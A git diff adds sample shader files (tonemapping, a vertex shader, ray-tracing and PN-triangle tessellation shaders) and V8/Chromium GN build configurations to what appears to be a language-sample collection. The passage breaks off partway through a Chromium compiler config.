+	#ifdef HEAVY_AA
+		vec3 col = camera(gl_FragCoord.xy+vec2(0.0,0.5))*0.25;
+		col += camera(gl_FragCoord.xy+vec2(0.25,0.0))*0.25;
+		col += camera(gl_FragCoord.xy+vec2(0.5,0.75))*0.25;
+		col += camera(gl_FragCoord.xy+vec2(0.75,0.25))*0.25;
+	#else
+		vec3 col = camera(gl_FragCoord.xy);
+		#ifdef LIGHT_AA
+			col = col * 0.5 + camera(gl_FragCoord.xy+vec2(0.5,0.5))*0.5;
+		#endif
+	#endif
+	
+	#ifdef TONEMAP
+	// Optimized Haarm-Peter Duiker’s curve
+	vec3 x = max(vec3(0.0),col*exposure-0.004);
+	col = (x*(6.2*x+.5))/(x*(6.2*x+1.7)+0.06);
+	#else
+	col = pow(col, vec3(0.4545));
+	#endif
+	
+	gl_FragColor = vec4(col, 1.0);
+}
\ No newline at end of file
diff --git a/samples/GLSL/main.vs b/samples/GLSL/main.vs
new file mode 100644
index 0000000000..8183b23519
--- /dev/null
+++ b/samples/GLSL/main.vs
@@ -0,0 +1,258 @@
+/*
+ * This is the main vertex shader of surface materials. It can be invoked with
+ * USE_OPTIMIZED_DEPTH_VERTEX_SHADER defined, and in this case we are guaranteed that the
+ * DEPTH variant is active *AND* there is no custom vertex shader (i.e.: materialVertex() is
+ * empty).
+ * We can use this to remove all code that doesn't participate in the depth computation.
+ */
+
+void main() {
+#if defined(FILAMENT_HAS_FEATURE_INSTANCING)
+#   if defined(TARGET_METAL_ENVIRONMENT) || defined(TARGET_VULKAN_ENVIRONMENT)
+    instance_index = gl_InstanceIndex;
+#   else
+    // PowerVR drivers don't initialize gl_InstanceID correctly if it's assigned to the varying
+    // directly and early in the shader. Adding a bit of extra integer math, works around it.
+    // Using an intermediate variable doesn't work because of spirv-opt.
+    if (CONFIG_POWER_VR_SHADER_WORKAROUNDS) {
+        instance_index = (1 + gl_InstanceID) - 1;
+    } else {
+        instance_index = gl_InstanceID;
+    }
+#   endif
+    logical_instance_index = instance_index;
+#endif
+
+#if defined(VARIANT_HAS_INSTANCED_STEREO)
+#if !defined(FILAMENT_HAS_FEATURE_INSTANCING)
+#error Instanced stereo not supported at this feature level
+#endif
+    // The lowest bit of the instance index represents the eye.
+    // This logic must be updated if CONFIG_STEREOSCOPIC_EYES changes
+    logical_instance_index = instance_index >> 1;
+#endif
+
+    initObjectUniforms();
+
+    // Initialize the inputs to sensible default values, see material_inputs.vs
+#if defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)
+
+    // In USE_OPTIMIZED_DEPTH_VERTEX_SHADER mode, we can even skip this if we're already in
+    // VERTEX_DOMAIN_DEVICE and we don't have VSM.
+#if !defined(VERTEX_DOMAIN_DEVICE) || defined(VARIANT_HAS_VSM)
+    // Run initMaterialVertex to compute material.worldPosition.
+    MaterialVertexInputs material;
+    initMaterialVertex(material);
+    // materialVertex() is guaranteed to be empty here, but we keep it to workaround some problem
+    // in NVIDA drivers related to depth invariance.
+    materialVertex(material);
+#endif
+
+#else // defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)
+
+    MaterialVertexInputs material;
+    initMaterialVertex(material);
+
+#if defined(HAS_ATTRIBUTE_TANGENTS)
+    // If the material defines a value for the "normal" property, we need to output
+    // the full orthonormal basis to apply normal mapping
+    #if defined(MATERIAL_NEEDS_TBN)
+        // Extract the normal and tangent in world space from the input quaternion
+        // We encode the orthonormal basis as a quaternion to save space in the attributes
+        toTangentFrame(mesh_tangents, material.worldNormal, vertex_worldTangent.xyz);
+
+        #if defined(VARIANT_HAS_SKINNING_OR_MORPHING)
+        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_MORPHING_ENABLED_BIT) != 0) {
+            #if defined(LEGACY_MORPHING)
+            vec3 normal0, normal1, normal2, normal3;
+            toTangentFrame(mesh_custom4, normal0);
+            toTangentFrame(mesh_custom5, normal1);
+            toTangentFrame(mesh_custom6, normal2);
+            toTangentFrame(mesh_custom7, normal3);
+            vec3 baseNormal = material.worldNormal;
+            material.worldNormal += morphingUniforms.weights[0].xyz * (normal0 - baseNormal);
+            material.worldNormal += morphingUniforms.weights[1].xyz * (normal1 - baseNormal);
+            material.worldNormal += morphingUniforms.weights[2].xyz * (normal2 - baseNormal);
+            material.worldNormal += morphingUniforms.weights[3].xyz * (normal3 - baseNormal);
+            #else
+            morphNormal(material.worldNormal);
+            material.worldNormal = normalize(material.worldNormal);
+            #endif
+        }
+
+        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_SKINNING_ENABLED_BIT) != 0) {
+            skinNormal(material.worldNormal, mesh_bone_indices, mesh_bone_weights);
+            skinNormal(vertex_worldTangent.xyz, mesh_bone_indices, mesh_bone_weights);
+        }
+        #endif
+
+        // We don't need to normalize here, even if there's a scale in the matrix
+        // because we ensure the worldFromModelNormalMatrix pre-scales the normal such that
+        // all its components are < 1.0. This prevents the bitangent to exceed the range of fp16
+        // in the fragment shader, where we renormalize after interpolation
+        vertex_worldTangent.xyz = getWorldFromModelNormalMatrix() * vertex_worldTangent.xyz;
+        vertex_worldTangent.w = mesh_tangents.w;
+        material.worldNormal = getWorldFromModelNormalMatrix() * material.worldNormal;
+    #else // MATERIAL_NEEDS_TBN
+        // Without anisotropy or normal mapping we only need the normal vector
+        toTangentFrame(mesh_tangents, material.worldNormal);
+
+        #if defined(VARIANT_HAS_SKINNING_OR_MORPHING)
+        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_MORPHING_ENABLED_BIT) != 0) {
+            #if defined(LEGACY_MORPHING)
+            vec3 normal0, normal1, normal2, normal3;
+            toTangentFrame(mesh_custom4, normal0);
+            toTangentFrame(mesh_custom5, normal1);
+            toTangentFrame(mesh_custom6, normal2);
+            toTangentFrame(mesh_custom7, normal3);
+            vec3 baseNormal = material.worldNormal;
+            material.worldNormal += morphingUniforms.weights[0].xyz * (normal0 - baseNormal);
+            material.worldNormal += morphingUniforms.weights[1].xyz * (normal1 - baseNormal);
+            material.worldNormal += morphingUniforms.weights[2].xyz * (normal2 - baseNormal);
+            material.worldNormal += morphingUniforms.weights[3].xyz * (normal3 - baseNormal);
+            #else
+            morphNormal(material.worldNormal);
+            material.worldNormal = normalize(material.worldNormal);
+            #endif
+        }
+
+        if ((object_uniforms_flagsChannels & FILAMENT_OBJECT_SKINNING_ENABLED_BIT) != 0) {
+            skinNormal(material.worldNormal, mesh_bone_indices, mesh_bone_weights);
+        }
+        #endif
+
+        material.worldNormal = getWorldFromModelNormalMatrix() * material.worldNormal;
+
+    #endif // MATERIAL_HAS_ANISOTROPY || MATERIAL_HAS_NORMAL || MATERIAL_HAS_CLEAR_COAT_NORMAL
+#endif // HAS_ATTRIBUTE_TANGENTS
+
+    // Invoke user code
+    materialVertex(material);
+
+    // Handle built-in interpolated attributes
+#if defined(HAS_ATTRIBUTE_COLOR)
+    vertex_color = material.color;
+#endif
+#if defined(HAS_ATTRIBUTE_UV0)
+    vertex_uv01.xy = material.uv0;
+#endif
+#if defined(HAS_ATTRIBUTE_UV1)
+    vertex_uv01.zw = material.uv1;
+#endif
+
+    // Handle user-defined interpolated attributes
+#if defined(VARIABLE_CUSTOM0)
+    VARIABLE_CUSTOM_AT0 = material.VARIABLE_CUSTOM0;
+#endif
+#if defined(VARIABLE_CUSTOM1)
+    VARIABLE_CUSTOM_AT1 = material.VARIABLE_CUSTOM1;
+#endif
+#if defined(VARIABLE_CUSTOM2)
+    VARIABLE_CUSTOM_AT2 = material.VARIABLE_CUSTOM2;
+#endif
+#if defined(VARIABLE_CUSTOM3)
+    VARIABLE_CUSTOM_AT3 = material.VARIABLE_CUSTOM3;
+#endif
+
+    // The world position can be changed by the user in materialVertex()
+    vertex_worldPosition.xyz = material.worldPosition.xyz;
+
+#ifdef HAS_ATTRIBUTE_TANGENTS
+    vertex_worldNormal = material.worldNormal;
+#endif
+
+#if defined(VARIANT_HAS_SHADOWING) && defined(VARIANT_HAS_DIRECTIONAL_LIGHTING)
+    vertex_lightSpacePosition = computeLightSpacePosition(
+            vertex_worldPosition.xyz, vertex_worldNormal,
+            frameUniforms.lightDirection,
+            shadowUniforms.shadows[0].normalBias,
+            shadowUniforms.shadows[0].lightFromWorldMatrix);
+#endif
+
+#endif // !defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)
+
+    vec4 position;
+
+#if defined(VERTEX_DOMAIN_DEVICE)
+    // The other vertex domains are handled in initMaterialVertex()->computeWorldPosition()
+    position = getPosition();
+
+#if !defined(USE_OPTIMIZED_DEPTH_VERTEX_SHADER)
+#if defined(MATERIAL_HAS_CLIP_SPACE_TRANSFORM)
+    position = getMaterialClipSpaceTransform(material) * position;
+#endif
+#endif // !USE_OPTIMIZED_DEPTH_VERTEX_SHADER
+
+#if defined(MATERIAL_HAS_VERTEX_DOMAIN_DEVICE_JITTERED)
+    // Apply the clip-space transform which is normally part of the projection
+    position.xy = position.xy * frameUniforms.clipTransform.xy + (position.w * frameUniforms.clipTransform.zw);
+#endif
+#else
+    position = getClipFromWorldMatrix() * getWorldPosition(material);
+#endif
+
+#if defined(VERTEX_DOMAIN_DEVICE)
+    // GL convention to inverted DX convention (must happen after clipSpaceTransform)
+    position.z = position.z * -0.5 + 0.5;
+#endif
+
+#if defined(VARIANT_HAS_VSM)
+    // For VSM, we use the linear light-space Z coordinate as the depth metric, which works for both
+    // directional and spot lights and can be safely interpolated.
+    // The value is guaranteed to be between [-znear, -zfar] by construction of viewFromWorldMatrix,
+    // (see ShadowMap.cpp).
+    // Use vertex_worldPosition.w which is otherwise not used to store the interpolated
+    // light-space depth.
+    highp float z = (getViewFromWorldMatrix() * getWorldPosition(material)).z;
+
+    // rescale [near, far] to [0, 1]
+    highp float depth = -z * frameUniforms.oneOverFarMinusNear - frameUniforms.nearOverFarMinusNear;
+
+    // remap depth between -1 and 1
+    depth = depth * 2.0 - 1.0;
+
+    vertex_worldPosition.w = depth;
+#endif
+
+    // this must happen before we compensate for vulkan below
+    vertex_position = position;
+
+#if defined(VARIANT_HAS_INSTANCED_STEREO)
+    // This logic must be updated if CONFIG_STEREOSCOPIC_EYES changes
+    // We're transforming a vertex whose x coordinate is within the range (-w to w).
+    // To move it to the correct half of the viewport, we need to modify the x coordinate:
+    //      Eye 0  (left half): (-w to 0)
+    //      Eye 1 (right half): ( 0 to w)
+    // It's important to do this after computing vertex_position.
+    int eyeIndex = instance_index % 2;
+    float eyeShift = float(eyeIndex) * 2.0f - 1.0f;     // eye 0: -1.0,     eye 1: 1.0
+    position.x = position.x * 0.5f + (position.w * 0.5 * eyeShift);
+
+    // A fragment is clipped when gl_ClipDistance is negative (outside the clip plane). So,
+    // Eye 0 should have a positive value when x is < 0
+    //      -position.x
+    // Eye 1 should have a positive value when x is > 0
+    //       position.x
+    FILAMENT_CLIPDISTANCE[0] = position.x * eyeShift;
+#endif
+
+#if defined(TARGET_VULKAN_ENVIRONMENT)
+    // In Vulkan, clip space is Y-down. In OpenGL and Metal, clip space is Y-up.
+    position.y = -position.y;
+#endif
+
+#if !defined(TARGET_VULKAN_ENVIRONMENT) && !defined(TARGET_METAL_ENVIRONMENT)
+    // This is not needed in Vulkan or Metal because clipControl is always (1, 0)
+    // (We don't use a dot() here because it workaround a spirv-opt optimization that in turn
+    //  causes a crash on PowerVR, see #5118)
+    position.z = position.z * frameUniforms.clipControl.x + position.w * frameUniforms.clipControl.y;
+#endif
+
+    // some PowerVR drivers crash when gl_Position is written more than once
+    gl_Position = position;
+
+#if defined(VARIANT_HAS_INSTANCED_STEREO)
+    // Fragment shaders filter out the stereo variant, so we need to set instance_index here.
+    instance_index = logical_instance_index;
+#endif
+}
diff --git a/samples/GLSL/miss.rmiss b/samples/GLSL/miss.rmiss
new file mode 100644
index 0000000000..f8530ea491
--- /dev/null
+++ b/samples/GLSL/miss.rmiss
@@ -0,0 +1,25 @@
+#version 460
+#extension GL_EXT_ray_tracing : require
+
+struct RayPayload {
+	vec3 color;
+	float distance;
+	vec3 normal;
+	float reflector;
+};
+
+layout(location = 0) rayPayloadInEXT RayPayload rayPayload;
+
+void main()
+{
+	// View-independent background gradient to simulate a basic sky background
+	const vec3 gradientStart = vec3(0.5, 0.6, 1.0);
+	const vec3 gradientEnd = vec3(1.0);
+	vec3 unitDir = normalize(gl_WorldRayDirectionEXT);
+	float t = 0.5 * (unitDir.y + 1.0);
+	rayPayload.color = (1.0-t) * gradientStart + t * gradientEnd;
+
+	rayPayload.distance = -1.0f;
+	rayPayload.normal = vec3(0.0f);
+	rayPayload.reflector = 0.0f;
+}
diff --git a/samples/GLSL/pntriangles.tesc b/samples/GLSL/pntriangles.tesc
new file mode 100644
index 0000000000..45a441d977
--- /dev/null
+++ b/samples/GLSL/pntriangles.tesc
@@ -0,0 +1,98 @@
+/**
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2016 Sascha Willems
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+#version 450
+
+#extension GL_ARB_separate_shader_objects : enable
+#extension GL_ARB_shading_language_420pack : enable
+
+// PN patch data
+struct PnPatch
+{
+ float b210;
+ float b120;
+ float b021;
+ float b012;
+ float b102;
+ float b201;
+ float b111;
+ float n110;
+ float n011;
+ float n101;
+};
+
+// tessellation levels
+layout (binding = 0) uniform UBO 
+{
+	float tessLevel;
+} ubo; 
+
+layout(vertices=3) out;
+
+layout(location = 0) in vec3 inNormal[];
+layout(location = 1) in vec2 inUV[];
+
+layout(location = 0) out vec3 outNormal[3];
+layout(location = 3) out vec2 outUV[3];
+layout(location = 6) out PnPatch outPatch[3];
+
+float wij(int i, int j)
+{
+	return dot(gl_in[j].gl_Position.xyz - gl_in[i].gl_Position.xyz, inNormal[i]);
+}
+
+float vij(int i, int j)
+{
+	vec3 Pj_minus_Pi = gl_in[j].gl_Position.xyz
+					- gl_in[i].gl_Position.xyz;
+	vec3 Ni_plus_Nj  = inNormal[i]+inNormal[j];
+	return 2.0*dot(Pj_minus_Pi, Ni_plus_Nj)/dot(Pj_minus_Pi, Pj_minus_Pi);
+}
+
+void main()
+{
+	// get data
+	gl_out[gl_InvocationID].gl_Position = gl_in[gl_InvocationID].gl_Position;
+	outNormal[gl_InvocationID]            = inNormal[gl_InvocationID];
+	outUV[gl_InvocationID]          = inUV[gl_InvocationID];
+
+	// set base 
+	float P0 = gl_in[0].gl_Position[gl_InvocationID];
+	float P1 = gl_in[1].gl_Position[gl_InvocationID];
+	float P2 = gl_in[2].gl_Position[gl_InvocationID];
+	float N0 = inNormal[0][gl_InvocationID];
+	float N1 = inNormal[1][gl_InvocationID];
+	float N2 = inNormal[2][gl_InvocationID];
+
+	// compute control points
+	outPatch[gl_InvocationID].b210 = (2.0*P0 + P1 - wij(0,1)*N0)/3.0;
+	outPatch[gl_InvocationID].b120 = (2.0*P1 + P0 - wij(1,0)*N1)/3.0;
+	outPatch[gl_InvocationID].b021 = (2.0*P1 + P2 - wij(1,2)*N1)/3.0;
+	outPatch[gl_InvocationID].b012 = (2.0*P2 + P1 - wij(2,1)*N2)/3.0;
+	outPatch[gl_InvocationID].b102 = (2.0*P2 + P0 - wij(2,0)*N2)/3.0;
+	outPatch[gl_InvocationID].b201 = (2.0*P0 + P2 - wij(0,2)*N0)/3.0;
+	float E = ( outPatch[gl_InvocationID].b210
+			+ outPatch[gl_InvocationID].b120
+			+ outPatch[gl_InvocationID].b021
+			+ outPatch[gl_InvocationID].b012
+			+ outPatch[gl_InvocationID].b102
+			+ outPatch[gl_InvocationID].b201 ) / 6.0;
+	float V = (P0 + P1 + P2)/3.0;
+	outPatch[gl_InvocationID].b111 = E + (E - V)*0.5;
+	outPatch[gl_InvocationID].n110 = N0+N1-vij(0,1)*(P1-P0);
+	outPatch[gl_InvocationID].n011 = N1+N2-vij(1,2)*(P2-P1);
+	outPatch[gl_InvocationID].n101 = N2+N0-vij(2,0)*(P0-P2);
+
+	// set tess levels
+	gl_TessLevelOuter[gl_InvocationID] = ubo.tessLevel;
+	gl_TessLevelInner[0] = ubo.tessLevel;
+}
diff --git a/samples/GLSL/pntriangles.tese b/samples/GLSL/pntriangles.tese
new file mode 100644
index 0000000000..f442c52d33
--- /dev/null
+++ b/samples/GLSL/pntriangles.tese
@@ -0,0 +1,103 @@
+/**
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2016 Sascha Willems
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+#version 450
+
+#extension GL_ARB_separate_shader_objects : enable
+#extension GL_ARB_shading_language_420pack : enable
+
+// PN patch data
+struct PnPatch
+{
+ float b210;
+ float b120;
+ float b021;
+ float b012;
+ float b102;
+ float b201;
+ float b111;
+ float n110;
+ float n011;
+ float n101;
+};
+
+layout (binding = 1) uniform UBO 
+{
+    mat4 projection;
+    mat4 model;
+    float tessAlpha;
+} ubo;
+
+layout(triangles, fractional_odd_spacing, ccw) in;
+
+layout(location = 0) in vec3 iNormal[];
+layout(location = 3) in vec2 iTexCoord[];
+layout(location = 6) in PnPatch iPnPatch[];
+
+layout(location = 0) out vec3 oNormal;
+layout(location = 1) out vec2 oTexCoord;
+
+#define uvw gl_TessCoord
+
+void main()
+{
+    vec3 uvwSquared = uvw * uvw;
+    vec3 uvwCubed   = uvwSquared * uvw;
+
+    // extract control points
+    vec3 b210 = vec3(iPnPatch[0].b210, iPnPatch[1].b210, iPnPatch[2].b210);
+    vec3 b120 = vec3(iPnPatch[0].b120, iPnPatch[1].b120, iPnPatch[2].b120);
+    vec3 b021 = vec3(iPnPatch[0].b021, iPnPatch[1].b021, iPnPatch[2].b021);
+    vec3 b012 = vec3(iPnPatch[0].b012, iPnPatch[1].b012, iPnPatch[2].b012);
+    vec3 b102 = vec3(iPnPatch[0].b102, iPnPatch[1].b102, iPnPatch[2].b102);
+    vec3 b201 = vec3(iPnPatch[0].b201, iPnPatch[1].b201, iPnPatch[2].b201);
+    vec3 b111 = vec3(iPnPatch[0].b111, iPnPatch[1].b111, iPnPatch[2].b111);
+
+    // extract control normals
+    vec3 n110 = normalize(vec3(iPnPatch[0].n110, iPnPatch[1].n110, iPnPatch[2].n110));
+    vec3 n011 = normalize(vec3(iPnPatch[0].n011, iPnPatch[1].n011, iPnPatch[2].n011));
+    vec3 n101 = normalize(vec3(iPnPatch[0].n101, iPnPatch[1].n101, iPnPatch[2].n101));
+
+    // compute texcoords
+    oTexCoord  = gl_TessCoord[2]*iTexCoord[0] + gl_TessCoord[0]*iTexCoord[1] + gl_TessCoord[1]*iTexCoord[2];
+
+    // normal
+    // Barycentric normal
+    vec3 barNormal = gl_TessCoord[2]*iNormal[0] + gl_TessCoord[0]*iNormal[1] + gl_TessCoord[1]*iNormal[2];
+    vec3 pnNormal  = iNormal[0]*uvwSquared[2] + iNormal[1]*uvwSquared[0] + iNormal[2]*uvwSquared[1]
+                   + n110*uvw[2]*uvw[0] + n011*uvw[0]*uvw[1]+ n101*uvw[2]*uvw[1];
+    oNormal = ubo.tessAlpha*pnNormal + (1.0-ubo.tessAlpha) * barNormal;
+
+    // compute interpolated pos
+    vec3 barPos = gl_TessCoord[2]*gl_in[0].gl_Position.xyz
+                + gl_TessCoord[0]*gl_in[1].gl_Position.xyz
+                + gl_TessCoord[1]*gl_in[2].gl_Position.xyz;
+
+    // save some computations
+    uvwSquared *= 3.0;
+
+    // compute PN position
+    vec3 pnPos  = gl_in[0].gl_Position.xyz*uvwCubed[2]
+                + gl_in[1].gl_Position.xyz*uvwCubed[0]
+                + gl_in[2].gl_Position.xyz*uvwCubed[1]
+                + b210*uvwSquared[2]*uvw[0]
+                + b120*uvwSquared[0]*uvw[2]
+                + b201*uvwSquared[2]*uvw[1]
+                + b021*uvwSquared[0]*uvw[1]
+                + b102*uvwSquared[1]*uvw[2]
+                + b012*uvwSquared[1]*uvw[0]
+                + b111*6.0*uvw[0]*uvw[1]*uvw[2];
+
+    // final position and normal
+    vec3 finalPos = (1.0-ubo.tessAlpha)*barPos + ubo.tessAlpha*pnPos;
+ gl_Position   = ubo.projection * ubo.model * vec4(finalPos,1.0);
+}
diff --git a/samples/GLSL/project.vs b/samples/GLSL/project.vs
new file mode 100644
index 0000000000..222a1e9d38
--- /dev/null
+++ b/samples/GLSL/project.vs
@@ -0,0 +1,12 @@
+#version 100
+attribute vec2 pos;
+attribute vec3 rayvtx;
+varying vec3 Ray;
+uniform vec4 split;
+
+void main()
+{
+	Ray = rayvtx;
+	gl_Position = vec4(pos * vec2(split.z, split.w) + vec2(split.x, split.y),
+					   0.0, 1.0);
+}
\ No newline at end of file
diff --git a/samples/GN/BUILD.2.gn b/samples/GN/BUILD.2.gn
new file mode 100644
index 0000000000..4f97777a6a
--- /dev/null
+++ b/samples/GN/BUILD.2.gn
@@ -0,0 +1,59 @@
+# Copyright 2016 the V8 project authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("../gni/isolate.gni")
+
+group("gn_all") {
+  testonly = true
+
+  if (v8_test_isolation_mode != "noop") {
+    deps = [
+      ":check-static-initializers_run",
+      ":jsfunfuzz_run",
+      ":run-deopt-fuzzer_run",
+      ":run-gcmole_run",
+      ":run-valgrind_run",
+    ]
+  }
+}
+
+v8_isolate_run("check-static-initializers") {
+  deps = [
+    "..:d8_run",
+  ]
+
+  isolate = "check-static-initializers.isolate"
+}
+
+v8_isolate_run("jsfunfuzz") {
+  deps = [
+    "..:d8_run",
+  ]
+
+  isolate = "jsfunfuzz/jsfunfuzz.isolate"
+}
+
+v8_isolate_run("run-deopt-fuzzer") {
+  deps = [
+    "..:d8_run",
+  ]
+
+  isolate = "run-deopt-fuzzer.isolate"
+}
+
+v8_isolate_run("run-gcmole") {
+  deps = [
+    "..:d8_run",
+  ]
+
+  isolate = "gcmole/run-gcmole.isolate"
+}
+
+v8_isolate_run("run-valgrind") {
+  deps = [
+    "..:d8_run",
+  ]
+
+  isolate = "run-valgrind.isolate"
+}
diff --git a/samples/GN/BUILD.3.gn b/samples/GN/BUILD.3.gn
new file mode 100644
index 0000000000..d0765475b5
--- /dev/null
+++ b/samples/GN/BUILD.3.gn
@@ -0,0 +1,1646 @@
+# Copyright (c) 2013 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//build/config/android/config.gni")
+import("//build/config/chrome_build.gni")
+import("//build/config/compiler/compiler.gni")
+import("//build/config/nacl/config.gni")
+import("//build/toolchain/cc_wrapper.gni")
+import("//build/toolchain/toolchain.gni")
+import("//build_overrides/build.gni")
+
+if (current_cpu == "arm" || current_cpu == "arm64") {
+  import("//build/config/arm.gni")
+}
+if (current_cpu == "mipsel" || current_cpu == "mips64el") {
+  import("//build/config/mips.gni")
+}
+if (is_mac) {
+  import("//build/config/mac/symbols.gni")
+}
+
+declare_args() {
+  # Default to warnings as errors for default workflow, where we catch
+  # warnings with known toolchains. Allow overriding this e.g. for Chromium
+  # builds on Linux that could use a different version of the compiler.
+  # With GCC, warnings in no-Chromium code are always not treated as errors.
+  treat_warnings_as_errors = true
+
+  # Normally, Android builds are lightly optimized, even for debug builds, to
+  # keep binary size down. Setting this flag to true disables such optimization
+  android_full_debug = false
+
+  # Whether to use the binary binutils checked into third_party/binutils.
+  # These are not multi-arch so cannot be used except on x86 and x86-64 (the
+  # only two architectures that are currently checked in). Turn this off when
+  # you are using a custom toolchain and need to control -B in cflags.
+  linux_use_bundled_binutils =
+      linux_use_bundled_binutils_override && is_linux &&
+      (current_cpu == "x64" || current_cpu == "x86")
+  binutils_path = rebase_path("//third_party/binutils/Linux_x64/Release/bin",
+                              root_build_dir)
+
+  # Compile in such a way as to make it possible for the profiler to unwind full
+  # stack frames. Setting this flag has a large effect on the performance of the
+  # generated code than just setting profiling, but gives the profiler more
+  # information to analyze.
+  # Requires profiling to be set to true.
+  enable_full_stack_frames_for_profiling = false
+
+  # When we are going to use gold we need to find it.
+  # This is initialized below, after use_gold might have been overridden.
+  gold_path = false
+
+  if (is_win) {
+    # Whether the VS xtree header has been patched to disable warning 4702. If
+    # it has, then we don't need to disable 4702 (unreachable code warning).
+    # The patch is preapplied to the internal toolchain and hence all bots.
+    msvs_xtree_patched = false
+  }
+
+  # Omit unwind support in official builds to save space.
+  # We can use breakpad for these builds.
+  exclude_unwind_tables = is_chrome_branded && is_official_build
+
+  # If true, gold linker will save symbol table inside object files.
+  # This speeds up gdb startup by 60%
+  gdb_index = false
+
+  # If true, optimize for size. Does not affect windows builds.
+  # Linux & Mac favor speed over size.
+  # TODO(brettw) it's weird that Mac and desktop Linux are different. We should
+  # explore favoring size over speed in this case as well.
+  optimize_for_size = is_android || is_ios
+
+  # Enable fatal linker warnings. Building Chromium with certain versions
+  # of binutils can cause linker warning.
+  # See: https://bugs.chromium.org/p/chromium/issues/detail?id=457359
+  fatal_linker_warnings = true
+
+  # AFDO (Automatic Feedback Directed Optimizer) is a form of profile-guided
+  # optimization that GCC supports. It used by ChromeOS in their official
+  # builds. To use it, set auto_profile_path to the path to a file containing
+  # the needed gcov profiling data.
+  auto_profile_path = ""
+
+  # Optimize for coverage guided fuzzing (balance between speed and number of
+  # branches)
+  optimize_for_fuzzing = false
+}
+
+if (is_clang && !is_nacl) {
+  update_args = [ "--print-revision" ]
+  if (llvm_force_head_revision) {
+    update_args += [ "--llvm-force-head-revision" ]
+  }
+  clang_revision =
+      exec_script("//tools/clang/scripts/update.py", update_args, "trim string")
+}
+
+# Apply the default logic for these values if they were not set explicitly.
+if (gold_path == false) {
+  if (use_gold) {
+    gold_path = rebase_path("//third_party/binutils/Linux_x64/Release/bin",
+                            root_build_dir)
+  } else {
+    gold_path = ""
+  }
+}
+
+if (use_debug_fission == "default") {
+  use_debug_fission = is_debug && !is_win && use_gold &&
+                      linux_use_bundled_binutils && cc_wrapper == ""
+}
+
+# default_include_dirs ---------------------------------------------------------
+#
+# This is a separate config so that third_party code (which would not use the
+# source root and might have conflicting versions of some headers) can remove
+# this and specify their own include paths.
+config("default_include_dirs") {
+  include_dirs = [
+    "//",
+    root_gen_dir,
+  ]
+}
+
+# compiler ---------------------------------------------------------------------
+#
+# Base compiler configuration.
+#
+# See also "runtime_library" below for related stuff and a discussion about
+# where stuff should go. Put warning related stuff in the "warnings" config.
+
+config("compiler") {
+  asmflags = []
+  cflags = []
+  cflags_c = []
+  cflags_cc = []
+  cflags_objc = []
+  cflags_objcc = []
+  ldflags = []
+  defines = []
+  configs = []
+
+  # System-specific flags. If your compiler flags apply to one of the
+  # categories here, add it to the associated file to keep this shared config
+  # smaller.
+  if (is_win) {
+    configs += [ "//build/config/win:compiler" ]
+  } else if (is_android) {
+    configs += [ "//build/config/android:compiler" ]
+  } else if (is_linux) {
+    configs += [ "//build/config/linux:compiler" ]
+  } else if (is_nacl) {
+    configs += [ "//build/config/nacl:compiler" ]
+  } else if (is_ios || is_mac) {
+    configs += [ "//build/config/mac:compiler" ]
+  }
+
+  # Applies to all Posix systems.
+  if (is_posix) {
+    configs += [ "//build/config/posix:compiler" ]
+  }
+
+  # See the definitions below.
+  configs += [
+    ":compiler_cpu_abi",
+    ":compiler_codegen",
+  ]
+
+  # In general, Windows is totally different, but all the other builds share
+  # some common GCC configuration.
+  if (!is_win) {
+    # Common GCC compiler flags setup.
+    # --------------------------------
+    cflags += [ "-fno-strict-aliasing" ]  # See http://crbug.com/32204
+    cflags_cc += [
+      # If this is removed then remove the corresponding /Zc:threadSafeInit- for
+      # Windows.
+      "-fno-threadsafe-statics",
+
+      # Not exporting C++ inline functions can generally be applied anywhere
+      # so we do so here. Normal function visibility is controlled by
+      # //build/config/gcc:symbol_visibility_hidden.
+      "-fvisibility-inlines-hidden",
+    ]
+
+    # Stack protection.
+    if (is_mac) {
+      # The strong variant of the stack protector significantly increases
+      # binary size, so only enable it in debug mode.
+      if (is_debug) {
+        cflags += [ "-fstack-protector-strong" ]
+      } else {
